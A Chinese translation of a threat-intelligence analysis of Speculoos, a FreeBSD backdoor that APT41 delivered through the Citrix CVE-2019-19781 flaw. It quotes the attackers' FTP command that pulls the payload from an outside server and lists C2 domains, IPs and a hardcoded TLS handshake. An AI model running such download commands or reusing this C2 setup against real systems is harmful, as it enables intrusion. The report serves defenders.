Speculoos后门分析:利用CVE-2019-19781漏洞进行传播
2020-04-15 11:05:00 Author: www.4hou.com(查看原文) 阅读量:210 收藏

背景

3月25日,FireEye发布了一篇关于APT41组织近期攻击活动的文章。该攻击活动日期为1月20日——3月11日,主要利用近期公布的安全漏洞利用来攻击Citrix、Cisco、Zoho等网络应用。根据WildFire和AutoFocus数据,研究人员获得了攻击Citrix的payload样本,是运行在FreeBSD上编译的可执行文件。研究人员使用该数据发现了受害者遍布全球,位于医疗、高等教育、支付和技术服务等领域,包括北美、南美和欧洲。

本文分析攻击活动中的基于FreeBSD 的payload——Speculoos。研究人员从数据集中一共发现了5个样本,文件大小几乎一样,但也有一些差异。这些细微的差异表明这些样本来源于同一开发者,样本可能被重新编译或打包了。如FireEye分析,Speculoos是利用CVE-2019-19781漏洞进行传播的,CVE-2019-19781是一个远程任意命令执行漏洞,影响Citrix Application Delivery Controller、Citrix Gateway、Citrix SD-WAN WANOP等设备。

攻击技术细节

在攻击活动中,攻击者利用了CVE-2019-19781漏洞来指导受害者应用使用命令/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/<filename> 通过FTP来提取Speculoos 后门。攻击活动中第一波开始于2020年1月31日,使用的文件为bsd,受影响的主要是美国的高等教育机构、医疗健康行业和一家位于爱尔兰的咨询公司。第二波攻击活动开始于2020年2月24日,使用的文件名为un。受影响的包括哥伦比亚的高等教育机构、奥地利的制造业企业、美国的高等教育机构等。

二进制文件分析

Speculoos后门是一个ELF可执行文件,使用GCC 4.2.1编译来运行在FreeBSD 系统上。该payload不能维持驻留,所以需要攻击者使用单独的组件或额外的一步来维持其驻留。Payload执行后,会进入一个调用函数来与以下C2域名通过TCP/443通信的循环:

alibaba.zzux[.]com (resolving to 119.28.139[.]120)

如果不能与以上域名通信,Speculoos就会尝试使用备份的C2来通信——119.28.139[.]20。如果还不能与备份C2服务器连接,就会用二进制文件中的硬编码缓存来与服务器进行TLS握手。图1是发送给C2服务器的硬编码的缓存。

16 03 01 00 B5 01 00 00 B1 03 01 00 00 00 00 00 ................
00 00 00 00 00 6A CE 14 27 3F 24 92 AB 0A A3 F7 .....j..'?$.....
DB 21 1C D6 7F FD E3 A3 50 00 00 00 00 48 C0 0A .............H..
C0 14 00 88 00 87 00 39 00 38 C0 0F C0 05 00 84 .......9.8......
00 35 C0 07 C0 09 C0 11 C0 13 00 45 00 44 00 66 .5.........E.D.f
00 33 00 32 C0 0C C0 0E C0 02 C0 04 00 96 00 41 .3.2...........A
00 04 00 05 00 2F C0 08 C0 12 00 16 00 13 C0 0D ...../..........
C0 03 FE FF 00 0A 02 01 00 00 3F 00 00 00 13 00 ..........?.....
11 00 00 0E 6C 6F 67 69 6E 2E 6C 69 76 65 2E 63 ....login.live.c
6F 6D FF 01 00 01 00 00 0A 00 08 00 06 00 17 00 om..............
18 00 19 00 0B 00 02 01 00 00 23 00 00 33 74 00 ..........#..3t.
00 00 05 00 05 01 00 00 00 00 00 00 00 00 00 00 ................

图 1. 发送给C2服务器的用作TLS Client Hello包的硬编码的缓存

图 1是一个TLS 1.0的握手包,尤其是Client Hello。Client Hello包最重要是部分是请求login.live[.]com 作为Server Name Indication (SNI),表明恶意软件作者可能尝试使得握手是非恶意的,如图1所示。

图 2. TLS握手中的Client Hello包用login.live.com作为Server Name Indication

成功连接到C2和完成TLS 握手后, Speculoos会执行系统枚举来对受害者系统进行指纹操作,然后发送数据给C2服务器。用来保存信息的缓存为1048字节,结构如表1所示:

image.png

表 1. 用于传输收集的系统信息到C2服务器的结构

数据会通过TLS信道发送,其中2个字节作为响应。成功响应后,会发送一个单独的字节(0xa) 到C2,并进入开始接收命令的循环。然后攻击者会在受害者系统上执行表2中的命令。这些命令表明攻击者是一个成功的功能性后门,可以让攻击者完全控制受害者系统。

image.png

表 2. Speculoos命令handler中的命令

研究人员分析的两个Speculoos样本功能是一样的,只有8个字节是不同的。这8个字节的变化是作者将uname -s命令与收集系统的hostname命令替换。图2 是这两个Speculoos样本的二进制比较,表明了这8个字节差异。

图 3. 表明2个Speculoos样本二进制文件的差异

影响评估

允许非授权用户远程执行代码的漏洞是一个潜在的高危安全问题,尤其是那些联网的系统。攻击者利用这些受漏洞影响的联网设备可以安装定制化的后门。因为这些设备或应用默认都有企业级系统的访问权限。攻击者可以尝试直接遍历系统以修改网络流量,执行恶意行为,比如注入恶意代码、执行中间人攻击、重定向用户等。

本文翻译自:https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/rMy6
如有侵权请联系:admin#unsafe.sh